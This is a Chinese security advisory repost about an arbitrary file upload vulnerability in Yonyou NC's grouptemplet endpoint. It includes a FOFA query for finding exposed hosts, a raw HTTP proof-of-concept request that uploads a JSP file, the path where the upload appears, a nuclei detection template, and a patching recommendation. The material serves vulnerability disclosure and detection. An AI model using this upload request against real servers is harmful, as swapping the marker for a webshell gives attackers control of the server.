用友NC grouptemplet 任意文件上传漏洞

admin 2024年4月29日12:00:54评论39 views字数 2246阅读7分29秒阅读模式

使

次条通常是广告,内容我也没验证,感兴趣的自行验证,不感兴趣的忽略。

01

漏洞名称

用友NC grouptemplet 任意文件上传漏洞

02

漏洞影响

用友NC 版本不详

03

漏洞描述

用友NC是大型企业管理与电子商务平台,帮助企业实现管理转型升级全面从以产品为中心转向以客户为中心(C2B);从流程驱动转向数据驱动(DDE);从延时运行转为实时运行(RTE);从领导指挥到员工创新(E2M)。用友NC grouptemplet接口处存在任意文件上传漏洞,攻击者通过漏洞可以获取网站权限,导致服务器失陷。

04

FOFA搜索语句
icon_hash="1085941792"

用友NC grouptemplet 任意文件上传漏洞

05

漏洞复现

POC

POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Connection: closeContent-Length: 268Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgkAccept-Encoding: gzip------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgkContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"Content-Type: application/octet-stream<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

回显路径

/uapim/static/pages/nc/head.jsp

06

nuclei poc

poc文件内容如下

id: yonyou-nc-grouptemplet-fileuploadinfo:  name: 用友NC grouptemplet 任意文件上传漏洞  author: fgz  severity: critical  description: |    用友NC是大型企业管理与电子商务平台,帮助企业实现管理转型升级全面从以产品为中心转向以客户为中心(C2B);从流程驱动转向数据驱动(DDE);从延时运行转为实时运行(RTE);从领导指挥到员工创新(E2M)。用友NC grouptemplet接口处存在任意文件上传漏洞,攻击者通过漏洞可以获取网站权限,导致服务器失陷。  reference:    none  metadata:    verified: true    max-request: 2    fofa-query: icon_hash="1085941792"  tags: yonyou,nc,fileupload,2024variables:  boundary: '{{rand_base(29)}}'http:  - raw:      - |        POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36        Content-type: multipart/form-data; boundary=----------{{boundary}}        ------------{{boundary}}        Content-Disposition: form-data; name="upload"; filename="{{randstr_1}}.jsp"        Content-Type: application/octet-stream        <%out.println("{{randstr_2}}");%>        ------------{{boundary}}--      - |        GET /uapim/static/pages/nc/head.jsp HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded        Accept-Encoding: gzip    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200"          - "status_code_2 == 200 && contains(body_2,'{{randstr_2}}')"        condition: and

07

修复建议

升级到最新版本。

用友安全中心补丁连接

https://security.yonyou.com/#/patchList

原文始发于微信公众号(AI与网安):用友NC grouptemplet 任意文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月29日12:00:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友NC grouptemplet 任意文件上传漏洞http://cn-sec.com/archives/2696876.html

发表评论

匿名网友 填写信息